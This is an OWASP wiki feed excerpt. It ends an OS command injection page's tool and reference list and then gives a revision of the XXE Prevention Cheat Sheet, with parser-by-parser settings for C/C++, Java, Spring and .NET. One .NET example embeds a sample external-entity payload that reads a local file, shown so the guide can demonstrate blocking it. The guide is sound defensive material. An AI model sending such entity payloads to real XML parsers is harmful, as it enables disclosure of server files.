== Tools ==&lt;br /&gt;
* OWASP [[OWASP WebScarab Project |WebScarab]] &lt;br /&gt;
* OWASP [[OWASP WebGoat Project|WebGoat]] &lt;br /&gt;
* [https://github.com/commixproject/commix Commix]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&lt;br /&gt;
* http://projects.webappsec.org/w/page/13246950/OS%20Commanding&lt;br /&gt;
* https://cwe.mitre.org/data/definitions/78.html&lt;br /&gt;
* https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Prevention_Cheat_Sheet&amp;diff=242904</id>
		<title>XML External Entity (XXE) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XML_External_Entity_(XXE)_Prevention_Cheat_Sheet&amp;diff=242904"/>
				<updated>2018-08-29T02:12:04Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: update libxml2 APIs review&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;XML eXternal Entity&amp;lt;/i&amp;gt; injection (XXE), which is now part of the [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10]], is a type of attack against an application that parses XML input. This attack occurs when untrusted &amp;lt;b&amp;gt;XML input containing a reference to an external entity is processed by a weakly configured XML parser&amp;lt;/b&amp;gt;. This attack may lead to the disclosure of confidential data, denial of service, [[Server Side Request Forgery]] (SSRF), port scanning from the perspective of the machine where the parser is located, and other system impacts. The following guide provides concise information to prevent this vulnerability. For more information on XXE, please visit [[XML External Entity (XXE) Processing]].&lt;br /&gt;
&lt;br /&gt;
==General Guidance==&lt;br /&gt;
The safest way to prevent XXE is always to disable DTDs (External Entities) completely. Depending on the parser, the method should be similar to the following:&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;factory.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Disabling DTDs also makes the parser secure against denial of services (DOS) attacks such as Billion Laughs. If it is not possible to disable DTDs completely, then external entities and external document type declarations must be disabled in the way that’s specific to each parser.&lt;br /&gt;
&lt;br /&gt;
Detailed XXE Prevention guidance for a number of languages and commonly used XML parsers in those languages is provided below.&lt;br /&gt;
&lt;br /&gt;
==C/C++==&lt;br /&gt;
&lt;br /&gt;
===libxml2===&lt;br /&gt;
&lt;br /&gt;
The Enum [http://xmlsoft.org/html/libxml-parser.html#xmlParserOption xmlParserOption] should not have the following options defined:&lt;br /&gt;
&lt;br /&gt;
* XML_PARSE_NOENT: Expands entities and substitutes them with replacement text&lt;br /&gt;
* XML_PARSE_DTDLOAD: Load the external DTD&lt;br /&gt;
&lt;br /&gt;
Note: Per: https://mail.gnome.org/archives/xml/2012-October/msg00045.html, starting with libxml2 version 2.9, XXE has been disabled by default as committed by the following patch: http://git.gnome.org/browse/libxml2/commit/?id=4629ee02ac649c27f9c0cf98ba017c6b5526070f.&lt;br /&gt;
&lt;br /&gt;
Search for the usage of the following APIs to ensure there is no &amp;quot;XML_PARSE_NOENT&amp;quot; and &amp;quot;XML_PARSE_DTDLOAD&amp;quot; defined in the parameters.&lt;br /&gt;
* xmlCtxtReadDoc 、xmlCtxtReadFd 、xmlCtxtReadFile 、xmlCtxtReadIO 、xmlCtxtReadMemory 、xmlCtxtUseOptions 、xmlParseInNodeContext 、xmlReadDoc 、xmlReadFd 、xmlReadFile 、xmlReadIO 、xmlReadMemory&lt;br /&gt;
&lt;br /&gt;
===libxerces-c===&lt;br /&gt;
Use of XercesDOMParser do this to prevent XXE:&lt;br /&gt;
 XercesDOMParser *parser = new XercesDOMParser;&lt;br /&gt;
 parser-&amp;gt;setCreateEntityReferenceNodes(false);&lt;br /&gt;
&lt;br /&gt;
Use of SAXParser, do this to prevent XXE:&lt;br /&gt;
 SAXParser* parser = new SAXParser;&lt;br /&gt;
 parser-&amp;gt;setDisableDefaultEntityResolution(true);&lt;br /&gt;
&lt;br /&gt;
Use of SAX2XMLReader, do this to prevent XXE:&lt;br /&gt;
 SAX2XMLReader* reader = XMLReaderFactory::createXMLReader();&lt;br /&gt;
 parser-&amp;gt;setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true);&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
&lt;br /&gt;
Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use. The following describes how to disable XXE in the most commonly used XML parsers for Java.&lt;br /&gt;
&lt;br /&gt;
===JAXP DocumentBuilderFactory, SAXParserFactory and DOM4J===&lt;br /&gt;
&lt;br /&gt;
DocumentBuilderFactory, SAXParserFactory and DOM4J XML Parsers can be configured using the same techniques to protect them against XXE. Only the DocumentBuilderFactory example is presented here. The JAXP DocumentBuilderFactory [http://docs.oracle.com/javase/7/docs/api/javax/xml/parsers/DocumentBuilderFactory.html#setFeature(java.lang.String,%20boolean) setFeature] method allows a developer to control which implementation-specific XML processor features are enabled or disabled. The features can either be set on the factory or the underlying XMLReader [http://docs.oracle.com/javase/7/docs/api/org/xml/sax/XMLReader.html#setFeature%28java.lang.String,%20boolean%29 setFeature] method. Each XML processor implementation has its own features that govern how DTDs and external entities are processed.&lt;br /&gt;
&lt;br /&gt;
For a syntax highlighted example code snippet using SAXParserFactory, look [https://gist.github.com/asudhakar02/45e2e6fd8bcdfb4bc3b2 here].&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;import javax.xml.parsers.DocumentBuilderFactory;&lt;br /&gt;
 import javax.xml.parsers.ParserConfigurationException; // catching unsupported features&lt;br /&gt;
 ...&lt;br /&gt;
  &lt;br /&gt;
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();&lt;br /&gt;
     String FEATURE = null;&lt;br /&gt;
     try {&lt;br /&gt;
       // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented&lt;br /&gt;
       // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl&lt;br /&gt;
       FEATURE = &amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, true);&lt;br /&gt;
 &lt;br /&gt;
       // If you can't completely disable DTDs, then at least do the following:&lt;br /&gt;
       // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities&lt;br /&gt;
       // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities&lt;br /&gt;
       // JDK7+ - http://xml.org/sax/features/external-general-entities    &lt;br /&gt;
       FEATURE = &amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities&lt;br /&gt;
       // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities&lt;br /&gt;
       // JDK7+ - http://xml.org/sax/features/external-parameter-entities    &lt;br /&gt;
       FEATURE = &amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // Disable external DTDs as well&lt;br /&gt;
       FEATURE = &amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;;&lt;br /&gt;
       dbf.setFeature(FEATURE, false);&lt;br /&gt;
 &lt;br /&gt;
       // and these as well, per Timothy Morgan's 2014 paper: &amp;quot;XML Schema, DTD, and Entity Attacks&amp;quot;&lt;br /&gt;
       dbf.setXIncludeAware(false);&lt;br /&gt;
       dbf.setExpandEntityReferences(false);&lt;br /&gt;
  &lt;br /&gt;
       // And, per Timothy Morgan: &amp;quot;If for some reason support for inline DOCTYPEs are a requirement, then &lt;br /&gt;
       // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks&lt;br /&gt;
       // (http://cwe.mitre.org/data/definitions/918.html) and denial &lt;br /&gt;
       // of service attacks (such as billion laughs or decompression bombs via &amp;quot;jar:&amp;quot;) are a risk.&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
       // remaining parser logic&lt;br /&gt;
       ...&lt;br /&gt;
       } catch (ParserConfigurationException e) {&lt;br /&gt;
             // This should catch a failed setFeature feature&lt;br /&gt;
             logger.info(&amp;quot;ParserConfigurationException was thrown. The feature '&amp;quot; +&lt;br /&gt;
                 FEATURE + &amp;quot;' is probably not supported by your XML processor.&amp;quot;);&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
         catch (SAXException e) {&lt;br /&gt;
             // On Apache, this should be thrown when disallowing DOCTYPE&lt;br /&gt;
             logger.warning(&amp;quot;A DOCTYPE was passed into the XML document&amp;quot;);&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
         catch (IOException e) {&lt;br /&gt;
             // XXE that points to a file that doesn't exist&lt;br /&gt;
             logger.error(&amp;quot;IOException occurred, XXE may still possible: &amp;quot; + e.getMessage());&lt;br /&gt;
             ...&lt;br /&gt;
         }&lt;br /&gt;
       DocumentBuilder safebuilder = dbf.newDocumentBuilder();&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces-j/ Xerces 1] [http://xerces.apache.org/xerces-j/features.html Features]:&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include parameter entities by setting [http://xerces.apache.org/xerces-j/features.html#external-parameter-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
[http://xerces.apache.org/xerces2-j/ Xerces 2] [http://xerces.apache.org/xerces2-j/features.html Features]:&lt;br /&gt;
* Disallow an inline DTD by setting [http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl this feature] to &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-general-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include parameter entities by setting [http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Do not include external DTDs by setting [http://xerces.apache.org/xerces-j/features.html#load-external-dtd this feature] to &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Note: The above defenses require Java 7 update 67, Java 8 update 20, or above, because the above countermeasures for DocumentBuilderFactory and SAXParserFactory are broken in earlier Java versions, per: [http://www.cvedetails.com/cve/CVE-2014-6517/ CVE-2014-6517].'''&lt;br /&gt;
&lt;br /&gt;
===XMLInputFactory (a StAX parser)===&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/StAX StAX] parsers such as [http://docs.oracle.com/javase/7/docs/api/javax/xml/stream/XMLInputFactory.html XMLInputFactory] allow various properties and features to be set.&lt;br /&gt;
&lt;br /&gt;
To protect a Java XMLInputFactory from XXE, do this:&lt;br /&gt;
&lt;br /&gt;
 xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory&lt;br /&gt;
 xmlInputFactory.setProperty(&amp;quot;javax.xml.stream.isSupportingExternalEntities&amp;quot;, false); // disable external entities&lt;br /&gt;
&lt;br /&gt;
===TransformerFactory===&lt;br /&gt;
To protect a javax.xml.transform.TransformerFactory from XXE, do this:&lt;br /&gt;
 TransformerFactory tf = TransformerFactory.newInstance();&lt;br /&gt;
 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
===Validator===&lt;br /&gt;
To protect a javax.xml.validation.Validator from XXE, do this:&lt;br /&gt;
 SchemaFactory factory = SchemaFactory.newInstance(&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;);&lt;br /&gt;
 Schema schema = factory.newSchema();&lt;br /&gt;
 Validator validator = schema.newValidator();&lt;br /&gt;
 validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
===SchemaFactory===&lt;br /&gt;
To protect a javax.xml.validation.SchemaFactory from XXE, do this:&lt;br /&gt;
 SchemaFactory factory = SchemaFactory.newInstance(&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;);&lt;br /&gt;
 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;);&lt;br /&gt;
 Schema schema = factory.newSchema(Source);&lt;br /&gt;
&lt;br /&gt;
===SAXTransformerFactory===&lt;br /&gt;
To protect a javax.xml.transform.sax.SAXTransformerFactory from XXE, do this:&lt;br /&gt;
 SAXTransformerFactory sf = SAXTransformerFactory.newInstance();&lt;br /&gt;
 sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;);&lt;br /&gt;
 sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, &amp;quot;&amp;quot;);&lt;br /&gt;
 sf.newXMLFilter(Source);&lt;br /&gt;
&lt;br /&gt;
'''Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:'''&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA&lt;br /&gt;
* javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET&lt;br /&gt;
&lt;br /&gt;
===XMLReader===&lt;br /&gt;
To protect a Java org.xml.sax.XMLReader from XXE, do this:&lt;br /&gt;
 XMLReader reader = XMLReaderFactory.createXMLReader();&lt;br /&gt;
 reader.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&lt;br /&gt;
 reader.setFeature(&amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;, false); // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.&lt;br /&gt;
 reader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 reader.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
===SAXReader===&lt;br /&gt;
To protect a Java org.dom4j.io.SAXReader from XXE, do this:&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;, true);&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 saxReader.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.&lt;br /&gt;
&lt;br /&gt;
===SAXBuilder===&lt;br /&gt;
To protect a Java org.jdom2.input.SAXBuilder from XXE, do this:&lt;br /&gt;
 SAXBuilder builder = new SAXBuilder();&lt;br /&gt;
 builder.setFeature(&amp;quot;http://apache.org/xml/features/disallow-doctype-decl&amp;quot;,true);&lt;br /&gt;
 builder.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 builder.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
 Document doc = builder.build(new File(fileName));&lt;br /&gt;
&lt;br /&gt;
===JAXB Unmarshaller===&lt;br /&gt;
Since a javax.xml.bind.Unmarshaller parses XML and does not support any flags for disabling XXE, it’s imperative to parse the untrusted XML through a configurable secure parser first, generate a source object as a result, and pass the source object to the Unmarshaller. For example:&lt;br /&gt;
&lt;br /&gt;
 SAXParserFactory spf = SAXParserFactory.newInstance();&lt;br /&gt;
 spf.setFeature(&amp;quot;http://xml.org/sax/features/external-general-entities&amp;quot;, false);&lt;br /&gt;
 spf.setFeature(&amp;quot;http://xml.org/sax/features/external-parameter-entities&amp;quot;, false);&lt;br /&gt;
 spf.setFeature(&amp;quot;http://apache.org/xml/features/nonvalidating/load-external-dtd&amp;quot;, false);&lt;br /&gt;
&lt;br /&gt;
 Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));&lt;br /&gt;
 JAXBContext jc = JAXBContext.newInstance(Object.class);&lt;br /&gt;
 Unmarshaller um = jc.createUnmarshaller();&lt;br /&gt;
 um.unmarshal(xmlSource);&lt;br /&gt;
&lt;br /&gt;
===XPathExpression===&lt;br /&gt;
A javax.xml.xpath.XPathExpression is similar to an Unmarshaller where it can’t be configured securely by itself, so the untrusted data must be parsed through another securable XML parser first. For example:&lt;br /&gt;
 DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();			&lt;br /&gt;
 df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, &amp;quot;&amp;quot;); &lt;br /&gt;
 df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, &amp;quot;&amp;quot;); 	&lt;br /&gt;
 DocumentBuilder builder = df.newDocumentBuilder();&lt;br /&gt;
 String result = new XPathExpression().evaluate( builder.parse(new ByteArrayInputStream(xml.getBytes())) );&lt;br /&gt;
&lt;br /&gt;
===java.beans.XMLDecoder===&lt;br /&gt;
&lt;br /&gt;
The [https://docs.oracle.com/javase/8/docs/api/java/beans/XMLDecoder.html#readObject-- readObject()] method in this class is fundamentally unsafe. Not only is the XML it parses subject to XXE, but the method can be used to construct any Java object, and [http://stackoverflow.com/questions/14307442/is-it-safe-to-use-xmldecoder-to-read-document-files execute arbitrary code as described here]. And there is no way to make use of this class safe except to trust or properly validate the input being passed into it. As such, we'd strongly recommend completely avoiding the use of this class and replacing it with a safe or properly configured XML parser as described elsewhere in this cheat sheet.&lt;br /&gt;
&lt;br /&gt;
===Other XML Parsers===&lt;br /&gt;
There are many 3rd party libraries that parse XML either directly or through their use of other libraries. Please test and verify their XML parser is secure against XXE by default. If the parser is not secure by default, look for flags supported by the parser to disable all possible external resource inclusions like the examples given above. If there’s no control exposed to the outside, make sure the untrusted content is passed through a secure parser first and then passed to insecure 3rd party parser similar to how the Unmarshaller is secured.&lt;br /&gt;
&lt;br /&gt;
==== Spring Framework MVC/OXM XXE Vulnerabilities ====&lt;br /&gt;
&lt;br /&gt;
For example, some XXE vulnerabilities were found in [http://pivotal.io/security/cve-2013-4152 Spring OXM] and [http://pivotal.io/security/cve-2013-7315 Spring MVC]. The following versions of the Spring Framework are vulnerable to XXE:&lt;br /&gt;
&lt;br /&gt;
* 3.0.0 to 3.2.3 (Spring OXM &amp;amp; Spring MVC)&lt;br /&gt;
* 4.0.0.M1 (Spring OXM)&lt;br /&gt;
* 4.0.0.M1-4.0.0.M2 (Spring MVC)&lt;br /&gt;
&lt;br /&gt;
There were other issues as well that were fixed later, so to fully address these issues, Spring recommends you upgrade to Spring Framework 3.2.8+ or 4.0.2+.&lt;br /&gt;
&lt;br /&gt;
For Spring OXM, this is referring to the use of org.springframework.oxm.jaxb.Jaxb2Marshaller. Note that the CVE for Spring OXM specifically indicates that 2 XML parsing situations are up to the developer to get right, and 2 are the responsibility of Spring and were fixed to address this CVE. Here's what they say:&lt;br /&gt;
&lt;br /&gt;
 '''Two situations developers must handle:'''&lt;br /&gt;
 For a DOMSource, the XML has already been parsed by user code and that code is responsible for protecting against XXE.&lt;br /&gt;
 For a StAXSource, the XMLStreamReader has already been created by user code and that code is responsible for protecting against XXE.&lt;br /&gt;
&lt;br /&gt;
 '''The issue Spring fixed:'''&lt;br /&gt;
 &lt;br /&gt;
 For SAXSource and StreamSource instances, Spring processed external entities by default thereby creating this vulnerability.&lt;br /&gt;
 Here's an example of using a StreamSource that was vulnerable, but is now safe, if you are using a fixed version of Spring OXM or Spring MVC:&lt;br /&gt;
 &lt;br /&gt;
  org.springframework.oxm.Jaxb2Marshaller marshaller = new org.springframework.oxm.jaxb.Jaxb2Marshaller();&lt;br /&gt;
  marshaller.unmarshal(new StreamSource(new StringReader(some_string_containing_XML)); // Must cast return Object to whatever type you are unmarshalling&lt;br /&gt;
&lt;br /&gt;
So, per the [http://pivotal.io/security/cve-2013-4152 Spring OXM CVE writeup], the above is now safe. But if you were to use a DOMSource or StAXSource instead, it would be up to you to configure those sources to be safe from XXE.&lt;br /&gt;
&lt;br /&gt;
==.NET==&lt;br /&gt;
&lt;br /&gt;
The following information for XXE injection in .NET is directly from this web application of unit tests by Dean Fleming: https://github.com/deanf1/dotnet-security-unit-tests. This web application covers all currently supported .NET XML parsers, and has test cases for each demonstrating when they are safe from XXE injection and when they are not. Previously, this information was based on James Jardine's excellent .NET XXE article:  https://www.jardinesoftware.net/2016/05/26/xxe-and-net/.&lt;br /&gt;
It originally provided more recent and more detailed information than the older article from Microsoft on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx, however, it has some inaccuracies that the web application covers.&lt;br /&gt;
&lt;br /&gt;
The following table lists all supported .NET XML parsers and their default safety levels:&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 25%; align:center; text-align:left; border: 2px solid #4d953d; background-color:#F2F2F2; padding=2;&amp;quot; &lt;br /&gt;
|- style=&amp;quot;background-color: #4d953d; color: #FFFFFF;&amp;quot;&lt;br /&gt;
! XML Parser !! Safe by Default?&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''LINQ to XML'''&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''XmlDictionaryReader'''&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
|'''XmlDocument'''&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|...prior to 4.5.2&lt;br /&gt;
|No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlNodeReader'''&lt;br /&gt;
| Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlReader'''&lt;br /&gt;
| Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XmlTextReader'''&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| ...prior to 4.5.2&lt;br /&gt;
| No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XPathNavigator'''&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
|...prior to 4.5.2&lt;br /&gt;
|No&lt;br /&gt;
|-&lt;br /&gt;
|...in versions 4.5.2 +&lt;br /&gt;
|Yes&lt;br /&gt;
|- style=&amp;quot;background-color: #FFFFFF;&amp;quot; &lt;br /&gt;
| '''XslCompiledTransform'''&lt;br /&gt;
| Yes&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== LINQ to XML ===&lt;br /&gt;
Both the XElement and XDocument objects in the System.Xml.Linq library are safe from XXE injection by default. XElement parses only the elements within the XML file, so DTDs are ignored altogether. XDocument has DTDs [https://github.com/dotnet/docs/blob/master/docs/visual-basic/programming-guide/concepts/linq/linq-to-xml-security.md disabled by default], and is only unsafe if constructed with a different unsafe XML parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlDictionaryReader ===&lt;br /&gt;
System.Xml.XmlDictionaryReader is safe by default, as when it attempts to parse the DTD, the compiler throws an exception saying that &amp;quot;CData elements not valid at top level of an XML document&amp;quot;. It becomes unsafe if constructed with a different unsafe XML parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlDocument ===&lt;br /&gt;
Prior to .NET Framework version 4.5.2, System.Xml.XmlDocument is '''unsafe''' by default. The XmlDocument object has an XmlResolver object within it that needs to be set to null in versions prior to 4.5.2. In versions 4.5.2 and up, this XmlResolver is set to null by default. The following example shows how it is made safe:&lt;br /&gt;
 static void LoadXML()&lt;br /&gt;
 {&lt;br /&gt;
   string xml = &amp;quot;&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot; ?&amp;gt;&amp;lt;!DOCTYPE doc &lt;br /&gt;
 	[&amp;lt;!ENTITY win SYSTEM \&amp;quot;file:///C:/Users/user/Documents/testdata2.txt\&amp;quot;&amp;gt;]&lt;br /&gt;
 	&amp;gt;&amp;lt;doc&amp;gt;&amp;amp;win;&amp;lt;/doc&amp;gt;&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
   XmlDocument xmlDoc = new XmlDocument();&lt;br /&gt;
   xmlDoc.XmlResolver = null;   // Setting this to NULL disables DTDs - Its NOT null by default.&lt;br /&gt;
   xmlDoc.LoadXml(xml);&lt;br /&gt;
   Console.WriteLine(xmlDoc.InnerText);&lt;br /&gt;
   Console.ReadLine();&lt;br /&gt;
 }&lt;br /&gt;
XmlDocument can become unsafe if you create your own nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].&lt;br /&gt;
&lt;br /&gt;
=== XmlNodeReader ===&lt;br /&gt;
System.Xml.XmlNodeReader objects are safe by default and will ignore DTDs even when constructed with an unsafe parser or wrapped in another unsafe parser.&lt;br /&gt;
&lt;br /&gt;
=== XmlReader ===&lt;br /&gt;
System.Xml.XmlReader objects are safe by default. They are set by default to have their ProhibitDtd property set to false in .NET Framework versions 4.0 and earlier, or their DtdProcessing property set to Prohibit in .NET versions 4.0 and later. Additionally, in .NET versions 4.5.2 and later, the XmlReaderSettings belonging to the XmlReader has its XmlResolver set to null by default, which provides an additional layer of safety. Therefore, XmlReader objects will only become unsafe in version 4.5.2 and up if both the DtdProcessing property is set to Parse and the XmlReaderSetting's XmlResolver is set to a nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the [http://msdn.microsoft.com/en-us/magazine/ee335713.aspx referenced MSDN article].&lt;br /&gt;
&lt;br /&gt;
=== XmlTextReader ===&lt;br /&gt;
System.Xml.XmlTextReader is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. Here is how to make it safe in various .NET versions:&lt;br /&gt;
&lt;br /&gt;
==== Prior to .NET 4.0 ====&lt;br /&gt;
In .NET Framework versions prior to 4.0, DTD parsing behavior for XmlReader objects like XmlTextReader are controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlReaderSettings and System.Xml.XmlTextReader classes. Set these values to true to disable inline DTDs completely.&lt;br /&gt;
&lt;br /&gt;
 XmlTextReader reader = new XmlTextReader(stream);&lt;br /&gt;
 reader.ProhibitDtd = true;  // NEEDED because the default is FALSE!!&lt;br /&gt;
&lt;br /&gt;
==== .NET 4.0 - .NET 4.5.2 ====&lt;br /&gt;
&lt;br /&gt;
In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property. However, they didn't change the default settings so XmlTextReader is still vulnerable to XXE by default. Setting DtdProcessing to Prohibit causes the runtime to throw an exception if a &amp;lt;!DOCTYPE&amp;gt; element is present in the XML. To set this value yourself, it looks like this:&lt;br /&gt;
&lt;br /&gt;
 XmlTextReader reader = new XmlTextReader(stream);&lt;br /&gt;
 reader.DtdProcessing = DtdProcessing.Prohibit;  // NEEDED because the default is Parse!!&lt;br /&gt;
